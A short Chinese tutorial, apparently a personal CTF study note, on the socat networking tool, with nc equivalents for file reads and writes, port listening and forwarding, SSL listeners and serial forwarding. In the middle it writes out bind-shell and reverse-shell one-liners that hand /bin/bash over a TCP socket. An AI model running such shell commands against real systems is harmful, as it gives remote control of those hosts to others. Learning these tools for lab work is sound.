socat是一个神器,姑且我现在理解它为nc的加强版,尤其是socat有ssl的功能,这个就比较方便环境的搭建,最近要复现环境还是用到了这个
sudo apt-get install socat
或者去管网下载安装包,无妨
socat [options] <address> <address>
几个常用的描述方式如下:
在这些描述后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。
读取文件,注意这里的路径必须是绝对路径
socat - /var/www/html/flag.php
写入文件
echo "2333" | socat - /var/www/html/hello.html
以后做题的时候如果有条件也是一种文件的操作方法
远程链接端口
nc localhost 80
socat - TCP:localhost:80
监听端口
nc -lp localhost 233
socat TCP-LISTEN:233
正向shell
nc -lp localhost 700 -e /bin/bash
socat TCP-LISTEN:700 EXEC:/bin/bash
反弹shell
nc localhost 700 -e /bin/bash
socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane
确实一应俱全!
将本地80端口转发到远程的80端口
socat TCP-LISTEN:80,fork TCP:www.domain.org:80
需要首先生成证书文件
socat OPENSSL-LISTEN:443,cert=/cert.pem -
socat - OPENSSL:localhost:443
可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
将终端转发到COM1
socat READLINE,history=$HOME/.cmd_history /dev/ttyS0,raw,echo=0,crnl
大多数参考了前辈们的文章
http://brieflyx.me/2015/linux-tools/socat-introduction/
http://www.jianshu.com/p/a659924515f7